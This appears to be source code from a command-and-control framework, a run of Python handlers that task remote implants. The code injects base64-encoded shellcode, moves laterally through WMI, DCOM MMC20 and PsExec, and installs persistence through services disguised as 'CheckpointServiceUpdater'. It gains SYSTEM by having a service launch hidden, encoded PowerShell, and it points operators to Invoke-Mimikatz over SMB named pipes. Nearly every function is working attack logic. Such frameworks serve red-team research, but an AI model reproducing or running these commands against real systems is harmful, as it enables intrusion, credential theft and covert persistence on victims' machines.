def do_sharpsocks(user, command, randomuri): from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurls = sharpurls.split(",") sharpurl = select_item("PayloadCommsHost", "C2Server") print( PoshInstallDirectory + "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if ri == "": new_task( "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace( "\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) if ri.lower() == "y": new_task( "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace( "\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
def do_sharpsocks(user, command, randomuri): check_module_loaded("SharpSocks.ps1", randomuri, user) import string from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurl = select_item("PayloadCommsHost", "C2Server") sharpport = select_item("PayloadCommsPort", "C2Server") dfheader = select_item("DomainFrontHeader", "C2Server") implant = get_implantdetails(randomuri) pivot = implant[15] if pivot != "PS": sharpurl = input("Enter the URL for SharpSocks: ") if (sharpport != 80 and sharpport != 443): if (sharpurl.count("/") >= 3): pat = re.compile(r"(?<!/)/(?!/)") sharpurl = pat.sub(":%s/" % sharpport, str, 1) else: sharpurl = ("%s:%s" % (sharpurl, sharpport)) print(PoshInstallDirectory + "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if (ri == "") or (ri.lower() == "y"): taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls) if dfheader: taskcmd += " -DomainFrontURL %s" % dfheader new_task(taskcmd, user, randomuri) update_label("SharpSocks", randomuri)
def do_migrate(user, command, randomuri): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) implant = get_implantdetails(randomuri) implant_arch = implant[10] implant_comms = implant[15] if implant_arch == "AMD64": arch = "64" else: arch = "86" if implant_comms == "PS": path = "%spayloads/Posh_v4_x%s_Shellcode.bin" % (PoshProjectDirectory, arch) shellcodefile = load_file(path) elif "Daisy" in implant_comms: daisyname = input("Name required: ") path = "%spayloads/%sPosh_v4_x%s_Shellcode.bin" % ( PoshProjectDirectory, daisyname, arch) shellcodefile = load_file(path) elif "Proxy" in implant_comms: path = "%spayloads/ProxyPosh_v4_x%s_Shellcode.bin" % ( PoshProjectDirectory, arch) shellcodefile = load_file(path) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) new_task( "$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task( "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri)
def do_invoke_wmijsbindpayload(user, command, randomuri): check_module_loaded("New-JScriptShell.ps1", randomuri, user) with open("%s%sDotNet2JS_PBind.b64" % (PayloadsDirectory, ""), "r") as p: payload = p.read() params = re.compile("invoke-wmijspbindpayload ", re.IGNORECASE) params = params.sub("", command) new_task( "$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS_PBind.b64" % (PayloadsDirectory, "")), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri) target = re.search("(?<=-target )\\S*", str(cmd), re.IGNORECASE) C2 = get_c2server_all() print() print("To connect to the SMB named pipe use the following command:") print( Colours.GREEN + "invoke-pbind -target %s -secret mtkn4 -key %s -pname jaccdpqnvbrrxlaf -client" % (target[0], C2[2]) + Colours.END) print() print("To issue commands to the SMB named pipe use the following command:") print(Colours.GREEN + "pbind-command \"pwd\"" + Colours.END) print() print("To load modules to the SMB named pipe use the following command:") print(Colours.GREEN + "pbind-loadmodule Invoke-Mimikatz.ps1" + Colours.END) print() print("To kill the SMB named pipe use the following command:") print(Colours.GREEN + "pbind-kill" + Colours.END)
def do_migrate(user, command, randomuri): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) implant = get_implantdetails(randomuri) implant_arch = implant[10] implant_comms = implant[15] if implant_arch == "AMD64": arch = "64" else: arch = "86" if implant_comms == "C#": path = "%sSharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, arch) shellcodefile = load_file(path) elif "Daisy" in implant_comms: daisyname = input("Name required: ") path = "%s%sSharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, daisyname, arch) shellcodefile = load_file(path) elif "Proxy" in implant_comms: path = "%sProxySharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, arch) shellcodefile = load_file(path) new_task( "run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri)
def do_inject_shellcode(user, command, randomuri): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: arch = "64" new_task( "$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task( "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri) except Exception as e: print_bad("Error loading file: %s" % e)
def do_linuxprivchecker(user, command, randomuri): params = re.compile("linuxprivchecker", re.IGNORECASE) params = params.sub("", command) module = open("%slinuxprivchecker.py" % ModulesDirectory, 'rb').read() encoded_module = base64.b64encode(module).decode("utf-8") taskcmd = "linuxprivchecker -pycode %s %s" % (encoded_module, params) new_task(taskcmd, user, randomuri)
def do_upload_file(user, command, randomuri): source = "" destination = "" s = "" if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination try: destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) uploadcommand = f"upload-file {source} {destination}" new_task(uploadcommand, user, randomuri) except Exception as e: print("Error with source file: %s" % e) traceback.print_exc()
def do_inject_shellcode(user, command, randomuri): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: new_task( "run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri) except Exception as e: print("Error loading file: %s" % e)
def do_invoke_runaspayload(user, command, randomuri): check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipe.ps1", randomuri, user) params = re.compile("invoke-runaspayload ", re.IGNORECASE) params = params.sub("", command) pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri)
def do_install_servicelevel_persistencewith(user, command, randomuri): C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload) new_task(cmd, user, randomuri)
def do_invoke_wmijspayload(user, command, randomuri): check_module_loaded("New-JScriptShell.ps1", randomuri, user) with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, ""), "r") as p: payload = p.read() params = re.compile("invoke-wmijspayload ", re.IGNORECASE) params = params.sub("", command) new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, "")), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri)
def do_beacon(user, command, randomuri): new_sleep = command.replace('set-beacon ', '') new_sleep = new_sleep.replace('setbeacon ', '') new_sleep = new_sleep.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print_bad("Invalid sleep command, please specify a time such as 50s, 10m or 1h") else: new_task(command, user, randomuri) update_sleep(new_sleep, randomuri)
def do_invoke_dcompayload(user, command, randomuri): C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri)
def do_kill_implant(user, command, randomuri): impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0]) if ri.lower() == "n": print("Implant not terminated") if ri == "": new_task("exit", user, randomuri) kill_implant(randomuri) if ri.lower() == "y": new_task("exit", user, randomuri) kill_implant(randomuri)
def do_invoke_wmipayload(user, command, randomuri): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() params = re.compile("invoke-wmipayload ", re.IGNORECASE) params = params.sub("", command) cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params, payload) new_task(cmd, user, randomuri)
def do_invoke_dcomdaisypayload(user, command, randomuri): daisyname = input("Name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: print_bad("Need to run createdaisypayload first") return
def do_invoke_wmiproxypayload(user, command, randomuri): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))): with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE) params = params.sub("", command) cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: print_bad("Need to run createproxypayload first") return
def do_invoke_psexecdaisypayload(user, command, randomuri): check_module_loaded("Invoke-PsExec.ps1", randomuri, user) daisyname = input("Payload name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE) params = params.sub("", command) cmd = "invoke-psexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: print_bad("Need to run createdaisypayload first") return
def do_invoke_wmijsproxypayload(user, command, randomuri): check_module_loaded("New-JScriptShell.ps1", randomuri, user) if os.path.isfile(("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"))): with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-wmijsproxypayload ", re.IGNORECASE) params = params.sub("", command) new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy")), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri) else: print_bad("Need to run createproxypayload first") return
def do_invoke_dcomproxypayload(user, command, randomuri): if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))): with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE) params = params.sub("", command) p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: print_bad("Need to run createproxypayload first") return
def do_invoke_runasdaisypayload(user, command, randomuri): daisyname = input("Name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() new_task("$proxypayload = \"%s\"" % payload, user, randomuri) check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipeDaisy.ps1", randomuri, user) params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE) params = params.sub("", command) pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri) else: print("Need to run createdaisypayload first") return
def do_invoke_runasproxypayload(user, command, randomuri): C2 = get_c2server_all() if C2[11] == "": print_bad("Need to run createproxypayload first") return else: newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload new_task(proxyvar, user, randomuri) check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipeProxy.ps1", randomuri, user) params = re.compile("invoke-runasproxypayload ", re.IGNORECASE) params = params.sub("", command) pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri)
def do_get_system_withdaisy(user, command, randomuri): daisyname = input("Payload name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri)
def autoruns(self): if "C#" in self.Pivot: new_task("loadmodule Stage2-Core.exe", "autoruns", self.RandomURI) update_mods("Stage2-Core.exe", self.RandomURI) if "PS" in self.Pivot: new_task("loadmodule Stage2-Core.ps1", "autoruns", self.RandomURI) update_mods("Stage2-Core.ps1", self.RandomURI) result = get_autoruns() if result: for autorun in result: run_autoloads(autorun[1], self.RandomURI, "autoruns") new_task(autorun[1], "autoruns", self.RandomURI)
def do_get_system(user, command, randomuri): C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri)
def do_get_system_withproxy(user, command, randomuri): C2 = get_c2server_all() if C2[11] == "": print_bad("Need to run createproxypayload first") return else: newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri)
def check_module_loaded(module_name, randomuri, user, force=False): try: modules_loaded = select_mods(randomuri) if force: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname new_task(("loadmodule %s" % module_name), user, randomuri) update_mods(module_name, randomuri) if modules_loaded: new_modules_loaded = "%s %s" % (modules_loaded, module_name) if module_name not in modules_loaded: for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname new_task(("loadmodule %s" % module_name), user, randomuri) update_mods(new_modules_loaded, randomuri) else: new_modules_loaded = "%s" % (module_name) new_task(("loadmodule %s" % module_name), user, randomuri) update_mods(new_modules_loaded, randomuri) except Exception as e: print("Error loadmodule: %s" % e)
def do_shell(user, command, randomuri): new_task(command, user, randomuri)
def do_modulesloaded(user, command, randomuri): implant_details = get_implantdetails(randomuri) print(implant_details[14]) new_task("listmodules", user, randomuri)